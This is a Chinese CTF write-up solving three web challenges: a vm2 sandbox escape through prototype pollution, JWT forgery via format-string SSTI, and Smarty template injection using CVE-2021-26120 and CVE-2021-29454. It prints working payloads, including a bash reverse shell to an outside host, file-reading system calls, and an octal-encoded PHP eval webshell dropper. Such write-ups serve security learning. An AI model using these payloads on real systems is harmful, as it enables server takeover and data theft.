考点:vm2沙箱逃逸、原型链污染
const express = require('express');
const app = express();
const { VM } = require('vm2');
app.use(express.json());
const backdoor = function () {
try {
new VM().run({}.shellcode);
} catch (e) {
console.log(e);
}
}
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
app.get('/', function (req, res) {
res.send("POST some json shit to /. no source code and try to find source code");
});
app.post('/', function (req, res) {
try {
console.log(req.body)
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.shit) {
backdoor()
}
res.send("post shit ok")
}catch(e){
res.send("is it shit ?")
console.log(e)
}
})
app.listen(3000, function () {
console.log('start listening on port 3000');
});
引用了vm2,有JSON.parse解析,并且存在merge方法,clone调用了merge,存在原型链污染漏洞
如果if语句为真,调用backdoor方法new VM().run({}.shellcode);
可以利用原型链污染到shellcode,进而rce
payload如下
{
"shit":"1",
"__proto__": {
"shellcode":"let res = import('./app.js'); res.toString.constructor(\"return this\")().process.mainModule.require(\"child_process\").execSync(\"bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'\").toString();"
}
}
postmanPOST发送即可
反弹shell成功,得到flag
考点:JWT解密、ssti
源码如下
from flask import Flask, render_template, request, session, redirect, make_response
from secret import secret, headers, User
import datetime
import jwt
app = Flask(__name__)
@app.route("/", methods=['GET', 'POST'])
def index():
f = open("app.py", "r")
ctx = f.read()
f.close()
res = make_response(ctx)
name = request.args.get('name') or ''
if 'admin' in name or name == '':
return res
payload = {
"name": name,
}
token = jwt.encode(payload, secret, algorithm='HS256', headers=headers)
res.set_cookie('token', token)
return res
@app.route('/hello', methods=['GET', 'POST'])
def hello():
token = request.cookies.get('token')
if not token:
return redirect('/', 302)
try:
name = jwt.decode(token, secret, algorithms=['HS256'])['name']
except jwt.exceptions.InvalidSignatureError as e:
return "Invalid token"
if name != "admin":
user = User(name)
flag = request.args.get('flag') or ''
message = "Hello {0}, your flag is" + flag
return message.format(user)
else:
return render_template('flag.html', name=name)
if __name__ == "__main__":
app.run()
分析一下,/
路由下接收name参数,如果存在且值不为admin,将输出JWT加密的token值;/hello
路由接收参数token,然后进行解密,如果为admin返回flag
首先第一步获取token值,访问/hello
然后要找到jwt解密要的密钥
我们利用ssti获取
/hello?flag={0.__class__.__init__.__globals__}
然后把密钥放到我们解密网站,验证成功,我们直接修改为admin
访问得到flag
考点:Smarty模板注入,CVE-2021-26120
扫一下目录,发现有源码泄露
看下源码,发现是Smarty模板
Smarty calculator
Smarty calculator
php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);
function waf($data){
$pattern = "php|\<|flag|\?";
$vpattern = explode("|", $pattern);
foreach ($vpattern as $value) {
if (preg_match("/$value/", $data)) {
echo("Calculator don not like U
");
die();
}
}
return $data;
}
if(isset($_POST['data'])){
if(isset($_COOKIE['login'])) {
$data = waf($_POST['data']);
echo "Only smarty people can use calculators:
";
$smarty->display("string:" . $data);
}else{
echo "";
}
}
有waf过滤,然后判断cookie
我们试试注入语句,发现成功
由于我们在/Smarty/Smarty.class.php
知道该版本
方法一 CVE-2021-26120
直接去网上找相关漏洞,发现是CVE-2021-26120(说是此版本修复但也不知道为啥能用)
然后去GitHub上下载该版本的源码对比一下,找到不同的地方
也就是sysplugins文件夹下的smarty_internal_compile_function.php
源码中的正则匹配
if (!preg_match('/^[a-zA-Z0-9_\x80-\xff]+$/', $_name))
而题目中的正则匹配
if (preg_match('/[a-zA-Z0-9_\x80-\xff](.*)+$/', $_name))
可以发现变成!
,后面的(.*)+
中,.匹配除了换行符以外的所有字符,*
匹配0次或者多次,+
匹配一次或者多次,我们可以使用多次换行绕过
data={function name='rce(){};system("cat /var/www/f*");function%0A%0A'}{/function}
方法二 CVE-2021-29454
data={$poc="poc"}{math equation="(\"\\163\\171\\163\\164\\145\\155\")(\"\\143\\141\\164\\40\\57\\166\\141\\162\\57\\167\\167\\167\\57\\146\\52\")"}
方法三 写马蚁剑连接
也是利用八进制实现绕过
data={$poc="poc"}{math equation="(\"\\146\\151\\154\\145\\137\\160\\165\\164\\137\\143\\157\\156\\164\\145\\156\\164\\163\")(\"\\61\\56\\160\\150\\160\",\"\\74\\77\\160\\150\\160\\40\\145\\166\\141\\154\\50\\44\\137\\120\\117\\123\\124\\133\\61\\135\\51\\73\\77\\76\")"}